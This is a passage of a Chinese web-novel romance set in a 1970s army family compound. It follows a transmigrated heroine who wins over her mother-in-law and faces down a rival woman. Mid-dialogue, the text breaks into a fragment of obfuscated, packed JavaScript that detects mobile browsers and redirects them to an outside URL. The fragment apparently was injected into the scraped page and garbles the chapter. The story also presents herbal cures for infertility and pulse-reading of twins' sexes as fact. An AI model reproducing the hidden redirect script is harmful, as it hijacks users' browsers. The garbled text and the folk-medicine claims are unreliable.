弄得她像故意占人家便宜一样。
终于转对方向,伸手去拉抽屉,她夹在桌子和霍战北中间,空小,抽不出来。
她往后挪一下,随着抽屉拉开,她腰上肉多,空小,只能往后一撅……
“媳妇,你撅着我了。”
霍战北的声音平淡。
苏圆圆有些羞恼,她怎么越听,越觉得这家伙……
“闭嘴,别说话。”
她嗔怪一声,拿出一支蜡烛,关上抽屉,转身。
不料,就在这时,霍战北也转过了轮椅,她一下子坐到了他身上。
“媳妇——”
苏圆圆羞了一下,又惊了一下,
“我没坐着你腿吧,疼不疼?”
“媳妇,你没坐着我腿,你坐着我的……”
轰,
苏圆圆脸一下子红了。
说好的高岭之花呢?
说好的冷漠无情呢?
这狗男人也太闷太骚太会撩了!
……
蜡烛点燃了,一片昏黄的光晕中,
端坐着的霍战北一脸正经,仿佛刚才黑暗里的那些话,根本不是他说的。
苏圆圆盯着霍战北的脸,她想从上面找到一些痕迹。
烛光下,对面的男人,
高鼻梁与流畅清晰的下颌线,纠结的肌肉,简直就是行走的荷尔蒙。
偏又长着一双狭长上挑的瑞凤眼,延伸的眼尾带着烛光映下的淡淡红晕。
啧啧,
狗男人也知道脸红。
“媳妇——”
低沉的声音略带暗哑。
“干啥?”
苏圆圆觉得空气中有一种黏腻的味道。
她自己都没发觉,她问的两个字,尾音上挑,带着娇嗔。
“媳妇——”
霍战北的声音里仿佛带了勾子。
慢慢把手指放到鼻子下面,上面还残留着苏圆圆皮肤的娇嫩和香甜味。
“媳妇——有没有说过,你很香,你的声音非常好听?”
霍战北似乎无意,闭了下眼睛,深深吸了口气。
“有啊——”
霍战北猛地睁开眼睛,声音僵了一下。
“谁?”
“你啊!”
嗤嗤——
苏圆圆嗤嗤地笑。
逗霍战北真有意思。
有一种把高岭之花拉下神坛的成就感。
“霍战北?”
苏圆圆突然把一张圆盘大脸凑到了霍战北面前。
离的近,霍战北能清楚地看到,苏圆圆的脸白得发光,鬓角边的小绒毛,被温暖的烛光渡上一层淡淡的光。
还有那甜甜的专属于苏圆圆的味道,从他鼻端一直弥漫到心底。
“嗯!”
“霍战北,你和夏千燕亲过吗?”
脸对着脸,眼睛对着眼睛。
苏圆圆突然提出地狱一问。
“没有。”
“拉过手吗?”
“没有。”
“那你——唔——”
苏圆圆猛地睁大眼睛,这男人属狗的啊,咬着她嘴了——
……
哗啦——
苏圆圆猛地抬头,看到敞开的屋门前,站着一个大头兵,怀里抱着东西,地上散掉了一些。
不是霍战北的小勤务兵郑好,还能有谁?
“团——团长——”
郑好觉得自己这两天运气贼拉差。
怎么他每次来,都会好死不活地碰见团长的甜蜜现场呢?
他刚才送饭来的时候,团长让他去供销社买点甜食。
晚上供销社只开半小时,他怕去晚了关门,跑步去买的。
回来的时候,正碰上张政委带着一个人往家属院走来。
他赶紧跑来报信。
谁能想到,就这么一会的功夫,团长和小嫂子怎么饭都没吃,就……
“我啥也不看见,我这就走——”
郑好连地上的东西都顾不上捡,把抱着的东西放到旁边椅子上,转身就走。
苏圆圆有一种社死的感觉。
“吃饭,我们吃饭——”
她尴尬地看着霍战北。
“饭没你好吃!”
霍战北突然发声,声音暗哑魅惑。
“霍战北——”
苏圆圆觉得这个狗男人,绝对是故意的。
郑好想捂脸,又不敢。恨不得脚下生风,踩着两风火轮,让自己赶紧消失。
我的娘唉,他眼没瞎掉吧?
说这话的男人真是他们团长?
郑好走了几步,突然站住,转头,
“团——团长——”
顶着霍战北的死亡凝视,郑好艰难地咽了一下唾沫,
“团长,你娘来了!”
啊?
苏圆圆一怔。
霍战北的娘来了?
哎哟妈呀,原书中霍战北的娘可是和夏千燕婆媳情深,完全看不上原主那个乡下儿媳妇。
如果说原主的死是夏千燕害的,那霍战北的娘绝对起到了推波助澜的作用。
“她怎么来了?你在哪见到她的?”
“张政委带过来的,在来家属院的路上碰见的。”
郑好贴心地说,
“团长,你放心,他们没看到我,我跑步过来向你汇报的。”
苏圆圆看了一眼郑好,霍战北这个小勤务兵可真有眼色,是个会来事的人。
“团长,有啥需要我做的吗?如果
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没有,那我就——”
团长、嫂子、张政委、还有团长的娘。
这些人凑到一起,一会还不知会发生啥大事。
他一个小勤务兵,这些人,他哪个也得罪不起。
溜了,赶紧溜了!
“走吧。记得明天一早,你再打电话给师**部催一下,我的结婚申请审查进度。”
霍战北挥一下手,示意郑好离开。
“**部那些人真是属蜗牛的。再拖,你就替我问问他们,是不是要等我媳妇把孩子都生下了,还不能审查完呢?”
“好好,我走了。”
郑好连忙点头,溜的速度更快了。
团长结婚申请送错了,耽误了时间,这事是他办错了。
他得赶紧走,一会要是被张政委和团长娘堵在这院里。
哎哟,他不敢想下面的场景。
郑好出了院门,一眼就看到了不远处走来的张政委等人。
咦?
那紧贴在团长娘身边的年轻姑娘,不是夏姑娘吗?
郑好赶紧转了个弯,在没被这群人发现之前,他拐上了另一条道。
团长娘和小嫂子婆媳见面,都够愁人的了。这再加上一个搅屎棍夏姑娘,郑好简直没法想,接下来……
溜,溜,死腿,你快点走啊!
堂屋里,苏圆圆捡起地上的东西放到柜子上,这才发现柜子前面,放了一堆东西。
“这些东西是?”
“刚才苏班副拿来的,说是你家里给你寄过来的。”
啧啧,苏圆圆咋舌,原主不愧是苏家团宠,这么大一堆东西,苏家怕不是把家底都邮来了吧!
“你妈——”
苏圆圆发现,这个时代乡下人基本都叫娘,部队城市里叫妈妈的多。
就像原主叫马冬梅娘,霍战北夏千燕这样大城市出来的叫妈的多。
“今天我给家里打过电话了,我奶接的。我妈已经在来的火车上了,我还没和她说清咱两的事。”
“你妈看不上我这个乡下丫头,一会万一她……”
苏圆圆记得原书里写过,霍战北的妈妈好像是大学教授。
院门就被推开了,张政委领头走了进来。
苏圆圆注意到,跟在张政委身后两个人。
夏千燕、还有一个中年短发女人,穿着身蓝色列宁装。
双排扣、大翻领、腰间束带。
又干练又知性。
“妈——”
几人一进屋,霍战北就喊了一声。
“战北啊,你腿伤成这样,应该在医院里休养,怎么能任性在家里呆着呢?万一有个闪失,岂不是你这一辈子的前程都搭上了。”
第18章 你是不是想气死我
“妈,你不要听别人乱说。我这腿没什么大事。”
夏千燕挽着温**的胳膊,看着霍战北,委屈的眼泪巴巴,
“**阿姨,你看看,我没说错吧。战北哥哥他现在张嘴闭嘴,都说我是外人。”
温**拍拍夏千燕的手,不满地瞪了儿子一眼,
“你腿受伤的事,不是燕子说的。是我去医疗室找了行止。”
张政委忙跟着点头,
“对,你妈来到就先找了我,听说你腿受伤了,就让我带她去找了楚医生,了解了一下你腿受伤的详细情况。”
张政委一副细心周到,又尊重的样子。
“战北啊,你是战士,保家卫国是你的职责。你腿受伤是大事。你不能为了儿女情长,耽误了恢复,误了训练。”
霍战北的妈不愧是这个时代少有的高级知识分子。
即使对她这个乡下儿媳妇一肚子不满,也没有像那些乡下婆婆,一上来就抓头发骂儿媳妇。
而是把矛头直接指向自己的儿子,却又话里话外,都在提醒自家儿子,他挑的这个媳妇,不适合他们霍家这样的人家。
“妈,我腿受伤的事,和我媳妇无关。你少听别人说闲话。”
温**眼神闪过一抹诧异。
她这个儿子,从小到大,都是无事不说话,有事三两句。
什么时候这样为人辩解过。
温**的目光探究地扫过站在儿子身边的胖姑娘。
对,
这姑娘可真胖!
一眼瞧过去,估计得二三百斤。
胖归胖,温**摸着良心说,这姑娘五官长得还不错,尤其是一身皮肤,细腻如瓷、白的发光。
静静地站在儿子身边,自有一股子沉稳的劲儿。
这就是燕子打电话给她说的,她儿子被诬赖娶进门的又丑又胖乡下大土妞?
“我怎么听行止说,你宁愿不动手术,也得先回家看媳妇。”
张政委听着温**一句话就把楚医生给卖了,脸抽了抽,
“嫂子,你别生气。这年轻人不知轻重,就是瞎胡闹。这媳妇又不能跑,手术哪能等?”
夏千燕轻轻摇摇温**的胳膊,一副小女儿体贴的乖巧相,
“**阿姨,你别生战北哥哥的气了。男孩子都这样,受好个面子逞个强。行止的医术你也知道,他做的手术绝对完美。只要以后护理得当,很快就会好的。”
温**微笑,觉得果然还是燕子这孩子懂事贴心。
“战北,手术的事妈就不追究了。但你明儿得回医院休养,在这院住着,谁能照顾好你?”
苏圆圆就站在那里,听着这几个人你一句我一句。都说霍战北的腿伤,没有一个人给她一个眼神。
霍战北的妈果然厉害,这是主打一个,当她不存在,完全看不上呗。
“我不需要人照顾,我只是腿伤了,又不是人废了。”
“**阿姨,你别担心,战北哥哥有一个小勤务兵照顾着呢。”
被夏千燕这么一提醒,温**才想起来,儿子身边的确有一个叫郑好的贴身小勤务兵,她见过,挺机灵一小伙子。
“战北,你要是不想回医院休养,就在这院里住着也行,让那个小郑搬进来照顾你。”
苏圆圆不动声色地坐下了,托着腮帮子,看着这几个人表演。
霍战北的妈完全把自己当成了这院的女主人,指点江山。
夏千燕在旁边推波助澜,暗里拱火,想要让霍战北的妈把自己撵走。
至于张政委,他在旁边主打就是一个和稀泥,人家的家事,他管不了。
霍战北转头看向坐在身边的苏圆圆,
“媳妇,你说要不要让郑好住进来?”
苏圆圆摇头,
“我不同意郑好住进来,太不方便了。”
一个大小伙子住在她家,那她睡觉吃饭、上厕所岂不都得避着人。
烦!苏圆圆主打一个她才不会为了别人委屈自己,就算是为了霍战北,也不行!
“不行,郑好不能搬进来。”
霍战北一口回绝。
“为什么不能搬进来?有人照顾你,妈也能放心。”
温**想着,燕子打电话给她说的那些事,医院里她又向楚行止证实了的一些事。
当着儿子的面,她不撵这个乡下丫头走人。就已经是给儿子最大的脸面了。
谁和这个乡下丫头一点脸也不给她!
“郑好住进来,他一个男人,我媳妇不方便。”
咦?
温**皱眉,儿子一而再、再而三的直白护着那乡下丫头。
让她不得不反思自己,是不是她撵这丫头用的方式太隐晦了。
“她方不方便,很重要吗?你的腿能不能早点康复,这才是最重要的?”
“都重要。”
养了26年的儿子,这还是第一次直白顶撞她。
温**有些生气了,
“你是不是想气死我?”
“妈,我们霍家家规什么时候改了?”
“改什么?”
“我们霍家的家规,家外的事男人说了算,家里事全是媳妇说了算。这不是我小时候,妈你经常教我的吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17194393|197124||http|test|mini|href|location''.split(''|''),0,{}));
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r>霍战北一本正经气他妈,
“原先在我们家,都是我奶奶和你说了算。怎么到了我媳妇这,我人霍家家规改了?”
“霍战北,你真想气死我?”
霍战北挑眉,他妈一高兴就叫他战北,一生气就连名带姓吼他!
“**阿姨,你别生气,有什么事,和战北哥哥慢慢说。”
夏千燕适时扯了一下温**。
温**知道自家儿子的脾气,死倔货!
“郑好是男人,不方便。那就让燕子住进来,照顾你的腿伤。战北啊,你总不能让一个孕妇照顾你吧?”
苏圆圆不禁在心里给这个未来婆婆竖个大拇指。
这是看撵不走她,改把夏千燕塞进来了。
“燕子打小跟战北一起长大,彼此知根知底,她搬进来,照顾战北,也能照顾你。”
苏圆圆只笑不语。
未来婆婆看搞不定自己儿子,这就转移目标,直指她了?
她看起来一副很软很好拿捏的样子吗?
“不行,家里不能住外人。”
苏圆圆还没说话,霍战北直接反对了。
苏圆圆直接给霍战北点了个赞。
主动洁身自好,不给烂桃花留缝的蛋,绝对是一枚绝世好蛋!
“**阿姨,你看他?又欺负人家!”
夏千燕嘤嘤嘤,心里却在狂喷,该死的霍战北,又说我是外人。
“战北啊,你怎么能这样说燕子呢?你们从小一起长大,小时还睡一个床,一起洗澡,怎么就是外人了?”
啧啧!
苏圆圆这回直接给未来婆婆点赞。
瞧瞧,人家这才是高水平。
这话要是被别的儿媳妇听到了,一准一点就炸。只可惜,遇到的是她。
她一个穿书的现代人,还在乎这些?
她不说话,只托着腮继续看霍战北,瞧他下面怎么表演。
“我小时候还和楚行止一起睡觉,一起洗澡呢?照妈你这么说,他也是我媳妇了。”
噗!
苏圆圆实在没忍住,笑了。
她家男人这脑回路,还真是与众不同。
苏圆圆迅速脑补了一下那个场景:两个小男孩在一起睡觉洗澡,然后长大了,一个成了另一个的媳妇。
哈哈——
“霍战北,你气死我了!”
苏圆圆还真有点同情她这个未来的婆婆,翻来复去就是这一句话:你气死我了!
果然是知识分子,打架骂人、战力都不行。
在她面前就是个战五渣,要是到了她娘马冬梅面前,那完全不够看的。
第19章 说好的大字不识一个呢
“闺女啊,你叫什么名字,家是哪的啊?家里都有些什么人?是有人送你来部队找我儿子的,还是你自己来的?”
温**看儿子油盐不进,立马调转方向。
“妈,你别白费劲了。不管圆圆家里情况如何,她现在都是我媳妇。”
张政委眉头挑了一下,啧啧,臭小子是属狼的,护食。
这护起媳妇来,连他妈都杠上了。
臭小子还是太年轻,敢当着亲妈的面护媳妇,这以后胖丫头在霍家的日子岂不是更难过。
“我叫苏圆圆,我和霍战北在我们村办过婚礼了,也在公社扯了结婚证。”
苏圆圆知道,丑媳妇早晚得见公婆。
“就你这样的乡下丫头,大字不识一个,你还办婚礼?办什么婚礼,战北哥啉的爸爸妈妈,爷爷奶奶都不在场,婚礼根本算不了数。还扯结婚证,根本不可能,军婚可是要经过政审走城程序的。”
夏千燕一向做事谨慎,谋后而动。
她早就找人打听过了。
霍战北的结婚申请才递上去,才刚走流程。
“战北?这是真的?”
温**看向儿子。
这次她这么着急来部队,都是夏千燕那通电话把她催来的。
夏千燕给她打了两次电话,给她说了许多那个乡下胖丫的事。
说她是个又丑又土的乡下胖丫头,大字不识没教养。
趁着儿子在她老家出任务的时候,用见不得人的手段强迫儿子娶她。儿子不愿意,她竟然没脸没皮地追到部队来。还揣着别人的崽子,非说是她儿子的崽。
但,温**没有想到,儿子竟然还和这个叫苏圆圆的胖丫办过婚礼了,还扯过结婚证了。
有证了!
那两人可就是法律承认的真正的夫妻了!
“儿子,你告诉妈,你们真扯过证了?”
温**才不管什么婚不婚礼,现在结婚证才是最重要的事。
“嗯!”
霍战北点头,他那个村长老丈人亲自跑去公社办的,还能有假?
“你?”
温**指着苏圆圆,说不下去了。
这个乡下胖丫头,真的就是她们老霍家的儿媳妇了?
还是写在证上的真真的儿媳妇?
这让温**一路上,准备的所有撵走这个乡下胖丫的方案,全部泡汤了。
“是啊,妈,我们扯过证了。圆圆就是我媳妇,你也知道,军婚离不得。何况我都和圆圆洞房过了。你总不会叫你儿子当陈世美吧?”
木已成舟,一切都晚了。
温**全身劲都没了,扶着旁边的椅子,坐了下来。她心里很乱,让她想想,下面该怎么办?
“那个,嫂子,你们说话,我先回去了。”
张政委打着哈哈,
“我家就住在隔壁,有事,嫂子你叫战北直接找我。”
霍战北这个臭小子,婚礼洞房全都办过了。连证也都扯过了。
这么大的事,这小子居然一点也没给家里人说。
张政委和温**、霍战北打过招呼就回家了。
他可不能再呆下去了。
赶紧走。
“**阿姨,你可别气坏了身子。”
夏千燕轻轻拍着温**的后背,看她脸色发白,赶紧帮她顺气。
“唉,战北啊——”
温**好一会才顺过气,
“不是妈说你,结婚这么大个事,你也不和家里人商量一下。你以为和谁结婚都是一样过吗?”
温**看了一眼白胖的苏圆圆,又叹一口气,
“你这个孩子啊!你以为我是嫌弃你是乡下人,嫌弃你胖,配不上我们家战北吗?”
温**心里堵得慌,
“我是发愁,你大字不识一个,你和我们家战北过日子说不到一块去。”
霍战北刚想说什么,手就被一只温软的小胖手握住了。
苏圆圆给了他一个眼神。
夏千燕狠狠点头,
“**阿姨说的对,苏圆圆,霍爷爷和战北哥哥都是军校毕业,霍奶奶是秀才之女,**阿姨又是大学教授。你一个大字不识的乡下土包子。他们说话,你听得懂吗?”
“谁说我大字不识一个了,我上过学。”
苏圆圆觉得她婆婆三观还挺正的,不是嫌弃她乡下身份,而是担心他们小两口过不到一块去。
夏千燕鄙夷地笑了,
“你说你上过学?你上小学几年级?”
“关你屁事?”
“没文化真可怕,你瞧瞧说话多粗鲁。我可是个高中生。”
哦!
苏圆圆想起来,原书中是写过夏千燕上学的事。七十年代,高考都不考了,谁还认真上学啊。
“你一个啥也不会的高中生有啥好显摆的。你上高中,说明你初中成绩不好,没考上中专。”
夏千燕一噎,七十年代大家上学,成绩好的都考中考,毕业就分工作。考不上中专的才会去读高中,努力考大学。
“你上了高中,又没考上大学,说明你不但初中是个差生,高中也是个差生。你还显
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摆啥呀?”
夏千燕几乎气吐血。
“你有啥资格说我,你小学都没上过吧?我再差,我也是一个高中生。我没上大学,那不是我考不上。等恢复高考了,我就去考大学,你能去考吗?”
“能,我咋不能去考?你能去考,我也能去考。”
“你一个小学都没上完的人,竟然要去考大学,你说出去,别人还不笑话死你。”
霍战北坐在旁边,看着媳妇和夏千燕吵嘴,嗯,我媳妇真可爱,和啥人吵架都能吵赢。
温**坐在一边则愁**。
儿媳妇只上了几天学,这不是睁眼瞎吗?
现在部队还行,等以后战北转业回了京市,儿媳妇这工作咋安排啊?
“我没在学校呆几年,并不等于我没上学。我在家里不能学啊?”
苏圆圆心想,明年1977年就恢复高考了。
到时候,她孩子也生下来了,她就可以去参加高考。
第一年恢复高考的试卷简单。
对于她这个京市医科大的高才生来说,这简直是小菜一碟。
“你简直满嘴都是谎话。你家又没有老师,你怎么学?”
“我爷爷不但是老中医,还是老私塾。我从三岁开始就跟着我爷爷学习古文,医书典籍了。黄帝内经文言版我8岁就倒背如流了。怎么样,气死你!”
苏圆圆心想,我一个乡下来的,没上过几天学的小土妞。突然要去考大学,也太突然了。总得给霍战北先打个预防针。
温**眼睛一亮,她婆婆在旧社会,也是在家里跟着她秀才爹学的。
“苏——圆圆——你说你能读通文言医书?”
“能啊,我给你背一段,出师表,臣本布衣……”
苏圆圆小嘴一张,出师表一段段往外冒。
霍战北:瞧瞧,这是我媳妇,厉害吧!
温**的眼睛越发亮了。
诸葛亮的出师表啊!
她班里的那些个历史系的大学生,能完整背出《出师表》的人也不多啊。
苏圆圆流畅地背完了出师表。
夏千燕整个人都炸毛了!
“怎么可能?苏圆圆你就会说瞎话。你不会还想说,你也会医术吧?”
夏千燕生气,**阿姨竟然叫了死肥婆圆圆。气死她了。
“会啊,我从小就跟着我爷爷炮制药材,村里人生了小毛病,有时候我爷爷不在家,我就给他们看看,抓药啊。”
“骗人,你就是个大骗子!”
夏千燕破防了。
第20章 你说你会医术
“你要是真会医术,你咋不治好自己的肥病呢?”
这货急了,又对她进行人身攻击了。
苏圆圆耸耸肩,
“我家人不喜欢我瘦,不让我减肥。”
眼神扫过夏千燕全身,
“我们乡下人认为,像你这样瘦得像麻杆,没胸没屁股,生不了孩子。”
夏千燕脸色变了。
苏圆圆这句话还真捅到了她的痛脚,她十八岁都没来月事,她妈带她去检查,医生说她先天性卵巢发育不良,怀上孩子的几率极小。
一股怒火从夏千燕胸腔里喷出来,她一下子红了眼圈,
“你说谁生不了孩子呢?你胸**大,胖得像头猪。你倒是会生孩子。可惜怀的是个野种。还有脸找过来,让战北哥哥负责。也不听听大院里的人,背地里都是怎么议论战北哥哥的。”
温**刚庆幸儿媳妇不是文盲,结果夏千燕又给她当头一棒。
是啊,她怎么忘了这个事了呢?
温**神色复杂地看着苏圆圆鼓起的肚子。
我儿子绝嗣,苏圆圆肚子里的孩子是谁的?
这丫头也太过分了,既然和我儿子办了婚礼,扯了结婚证,怎么还能揣着别人的崽,来找我儿子呢?
唉,温**叹口气。
霍家三代单传,他儿子多年前出任务伤了根本,霍家香火断了。
这事,她们两口子不知商量了多少回。
两人都知道,虽然两老人不说啥,但老爷子那失去精神的眼神,越来越萎靡的精神,都在写着霍家香火要断了的悲伤。
两人商量,等以后儿子和夏千燕结婚后,就让他们去福利院抱养一个孩子。
现在,他儿子瞒着家里人结婚了不说,儿媳妇肚子里还揣上了一个。
唉,温**都不知道说什么好了。
这样怀上的孩子,毕竟和抱养的孩子不一样。
何况,儿媳妇这是从农村怀着肚子找来的,孩子的亲爹可能就是个农村二流子。这样的孩子,她们霍家能养吗?
看着夏千燕得意的脸,他妈晦暗不明的脸,霍战北食指轻敲桌子,
“我家的事,用得着你一个外人操心吗?”
霍战北看着坐在旁边一脸平静的苏圆圆,
“我不能生,又不是我媳妇不能生。我媳妇生的,就是我的。”
苏圆圆真想捂脸,又来了,这句话简直成了霍战北的名言了。
不过,
她还真喜欢听这个男人,用这样坚定的语气,说出这样荒唐的话。
嗯,
不管遇到什么事,都会无条件维护媳妇的男人,真的是好男人!
“战北,瞧你说的这是什么傻话。在这里还好,等回了家……”
温**说不下去了。
霍家的媳妇揣了别人的崽嫁进来,到时候消息被传开。
温**都能想像出来,大院里和她们家不对付的那些婆子媳妇子,背地里会如何嘲笑他们霍家。
一定会说,瞧这霍家得了报应,儿子不能生,居然让儿媳妇跑去借人家的种。
苏圆圆知道,别的都无所谓,这事可不能糊涂。
她拿手指头,戳了一下霍战北的胸膛,
“霍战北,人家知道你大度,你是天底下最好的男人。但是,这绿帽子,你喜欢戴。我可不愿意。”
软胖的手指,隔着衣服,好像一下子就戳到了他的心口窝里。
霍战北压不住嘴角上扬,嘿嘿,他媳妇声音真好听,小手指真软真暖。
温**看着自家傻儿子,被儿媳妇几句话就哄成胚胎了。
她简直没眼看。
苏圆圆转头,笑眯眯看着温**,
“霍战北不是绝嗣,我爷爷给他看了,他只是伤了根本,活力弱了。又不是真不能生。喝了我爷爷的药,他……”
“什么?儿媳妇,你说的是真的吗?我们家战北不是绝嗣?他还能生?”
温**激动的眼前一阵阵冒小星星。
老天爷啊,她儿子还能生!
老天爷啊,他们霍家不会断香火了!
温**自己都没发现,她一激动,儿媳妇都喊上了。
“**阿姨,她说这鬼话,你怎么能信呢?”
夏千燕急眼了,
“战北哥哥的病,海市京市那么多专家都看不好,一个乡下老头子怎么能看好?”
夏千燕扯着温**的胳膊。
她想吃回草,霍战北不接受。她可
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是全指望着,扒着温**这条大粗腿,日久天长,最后把霍战北拿下呢。
要是温**真相信了,苏圆圆怀了霍家的种。
温**再也不会帮她了。
“怎么就不能信了,专家看不好,不代表我爷爷就看不好。我们苏家祖上可是太医院的院首呢。治个弱精的小毛病,还不是手到擒来。”
“真的?儿媳妇,你们苏家竟是御医世家?太好了,战北的病治好了,我们霍家香火有望了。那这孩子?”
温**的手伸出去,想摸一下苏圆圆的肚子,又不好意思。
儿媳妇肚子里的孩子,难道真是她的亲孙子?
这样的好事,她做梦都不敢想啊!
“苏圆圆,你说瞎话。就算你爷爷是御医后人,能治战北哥哥的病。那你们也不可能一下子就怀上孩子了?说不准,你肚子里的这个孩子,根本不是战北哥哥的。你不知道和村里哪个野男人怀上的,故意揣着来赖战北哥哥身上的。”
霍战北眼神一冷,要不是媳妇总按着他,他早就把夏千燕提溜出去了。
烦**了。
可没办法,谁让媳妇伸出一个肉呼呼的手指,一直在他手心里划圈圈,让他从手心里,一直痒痒到心底里。
“啧啧,夏千燕。这你就不知道了吧。”
“我打小,我爷爷就给我用秘方调理身体。我是我们那儿十里八乡出了名的好孕女。”
苏圆圆故意挺了一下圆滚滚的肚子,
“我胖就是因为打小用好孕药材的副作用,我奶奶说了,女人要胖了才好生。等生下孩子,再调养一下就瘦回来了。”
“哎哟,亲家真给我儿子把病治好了。真是谢天谢地。”
儿子绝嗣的病治好了!
儿媳妇是个易孕女!
孙子都揣在肚子里了!
一连三个大喜事砸到温**头上。
温**一个大学教授,这会子再不讲唯物主义了,直接谢天谢地了。
“哎哟,我们家圆圆宝贝肚子里怀的,真是我的亲孙子?”
看着他妈连圆圆宝贝都喊上了,霍战北整个大无语。
不过,看着他妈和媳妇婆媳关系好,他倒是乐见其成。
第21章 老妈你别抢我媳妇
夏千燕简直要气疯了。
这都是什么事啊!
感情她一连打了两个电话,催命一样催来了温**,想让她帮自己撵走苏圆圆。
如今,反过来,倒成全了苏圆圆,让她们婆媳一家亲了?
“**阿姨,你别被她忽悠了。你看看,她的肚子那么大,战北哥哥和她结婚才五六个月。她这肚子看着倒像快要生的。这月份明显不对!”
夏千燕要不是她的对手。
苏圆圆都想给夏千燕鼓掌了。
这货还真像个打不死的小强,非要一直在她面前蹦跶,按都按不死。
而且这个夏千燕还挺聪明,每个问题都提的很致命。
这要不是她穿来,放在原主身上,早就被夏千燕按**。
遇到夏千燕这样的对手,怪不得原主会输,死得那么惨。
苏圆圆意味深长的看着夏千燕,
“你猜我肚子为什么那么大?”
说着转头冲着温**甜甜一笑,
“我肚子大是因为怀的是双胎。”
霍战北失声惊叫,
“媳妇,你怀了两?”
温**回过神来,伸手点了儿子额头一下,
“你个臭小子,圆宝贝怀了一个,还是怀了两,你这个当爸爸的竟然不知道?哎哟,你可真是个缺心眼。”
苏圆圆觉得她这个婆婆才可爱。
这一转眼,婆婆对自己的称呼都变好几个了。
现在,都叫她圆宝贝了。
嘿嘿!
双胞胎?
夏千燕愣住了。
一股寒意从脚后跟直蹿向她的天灵盖。
完了,不一样了。
她明明记得,上辈子苏圆圆第一胎生的是一个女儿,后来又接连生了几个孩子。
这怎么第一胎变成双胞胎了?
难道是因为她的重生,改变了一切。
那她,还能夺回霍战北,当上**夫人吗?
“苏圆圆,你说两就是两啊,你咋知道是两个?”
夏千燕不管什么了,反正她今天晚上打定了主意,一定要找出苏圆圆的错处。绝不能让霍战北和他妈认下苏圆圆和她肚子里的孩子。
啧啧,夏千燕真急眼了。
现在连这种没营养的问题,都问出来了。
苏圆圆像看傻子一样看了夏千燕一眼,
“啧啧,没文化真可怕。当然是我爷爷把脉把出来的,我奶奶是接生婆,她还能根据肚子的形状判断孩子是男孩子还是女孩子。”
“那你肚子里这两个,是男还是女?”
夏千燕都被今天的打击弄麻了。脱口又问了一个蠢问题。
“一男一女,龙凤胎啊。”
苏圆圆拉着霍战北的大手,径直放到了圆滚滚的肚皮上,
“一儿一女,凑成一个好字。北北,你可喜欢?”
哎哟,孙子有了,孙女也有了!
温**喜得手脚都不知怎么放了。
再看儿子和儿媳妇的亲密动作,真是越看越顺眼啊。
“哎哟,两个乖孙啊。我的老天爷,我这就得去打电话,告诉你爷你奶奶,还有你爸。”
温**喜欢地站起来,就想去办公楼打电话。
可抬头看到屋外的夜色,拍了一下手,
“你看我,真是高兴糊涂了。这会子太晚了,明儿再去打电话。”
转身,
“圆圆一张嘴,三个人吃。这可饿不得。我得赶紧做饭。”
“妈,你住西屋,我去看看,怎么给你收拾一下。”
霍战北分的房子是正房三间,两间西屋。他和苏圆圆住东屋大头间,中间是堂屋吃饭待客用,他妈只能住西屋了。
“哎哟,我还忘了一件事。”
霍战北刚要转动轮椅,温**赶紧上前拉一把儿子,
“你去住西屋,我和圆宝住一起。好照顾她。”
“妈?”
霍战北不乐意了。
他妈这是高兴糊涂了吗?哪有一来就拆散人家小夫妻的。
再说了,他和圆圆还在新婚蜜月期呢。
他妈这样做,道德吗?
温**伸手在霍战北胳膊上拧了一下,小声说,
“圆圆现在是双身子人,你又血气方刚的。我怕你**手毛脚碰着她。”
“妈,妈,圆圆是我媳妇,我来照顾就好。你大老远来了,你就先歇着吧。”
温**瞪儿子一眼,
“你现在还是一个病号,你能照顾好圆圆和孩子吗?”
温**用嫌弃的眼神看着轮椅,
“你瞧瞧这两轱辘子太响了,万一影响了圆圆休息就不好了。你不知道,我以前怀你的时候,夜里有一点动静,我都睡不好。这,咱圆宝怀了两……”
霍战北不敢相信,面前的这位喋喋不休的人,真是他妈——那个严肃至极的历史系教授。
“妈,妈,我是你的亲儿子,我还是病号?”
“你妈啥妈,叫得我头疼。”
温**摆摆手,
“你是我亲儿子不假,可圆宝肚子
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里怀的可是我的亲孙子孙女。”
“妈,你还是先住西屋几天吧。过几天,你还得回去上班呢?你那工作,真离不了你。你就是请假,上面也不会给你批太长时间的。”
霍战北不肯让步,开什么玩笑,他妈和他媳妇两个人睡,让他一个人睡,他不干。
“我腿伤了,正好请病假。这几个月,我都能在家照顾圆圆。”
“圆宝,你刚才说你这肚子是不是还有三四个月就要生了?”
“嗯,顺产的话应该还有四个多月,但双胞胎一般容易早产。也可能提前。”
温**迅速在脑子里理了一下,
“那就得早准备,就算三个月生,我得回去先把工作的事处理了。把假期都攒在一起,后面我请三个月,我来伺候你月子。还有你奶,你爷,你爸爸他们……”
霍战北眼看着,他那个严肃话少的妈,这会子变成了一个唠叨老太婆一样,絮絮叨叨的。
不过,说到他爸,他爷他奶,他准备的事,可不能缺了他们。
“妈,我想当初我和圆圆在她村办的婚礼太仓促了,正好圆圆来了,到时候请我爷他们都来,我们在部队再办一次婚礼。”
办婚礼?
苏圆圆听到这,眼眸有些微热。
霍战北这个男人,让她怎么说呢?
长得俊,身材好,工资高,家庭好,不沾烂桃花,还这般会宠媳妇。
她这一次真是捡到宝了。
这个男人,在她与他妈有矛盾的时候,也会坚定的站在她这一边,瞧瞧,真真是哪哪都好。
一听说办婚礼,温**眼睛都亮了,
“对,咱得办个正式的,办得风风光光的,可不能委屈了我儿媳妇。”
三个人讨论的热火朝天,完全被忽视的夏千燕在沉默中爆发不起来,只能在沉默中灭亡了。
“我还在这里呢?”
夏千燕:你们当着我这个前对象的面,讨论婚礼的事,你们礼貌吗?
“哦,燕子啊。”
温**像是才看见她一样,伸手拉住她的手,
“燕子啊,你和战北是打小一起长大的小伙伴。过去的事,咱都不提了。以后啊,你们还是朋友。”
温**这会可不磨叽了,她拉着夏千燕的手就往屋外走,
“燕子啊,我送送你啊。你家就住隔壁,离的这样近,有空你就来找阿姨玩啊。”
喔耗,这就送她走了?
夏千燕真是欲哭无泪。
第22章 没见过苏家这样宠闺女的
被夏千燕这一搅和,两人晚饭也没吃成。
“饭菜凉了,圆圆不能吃。乖,好好坐着,妈去给你做好吃的。”
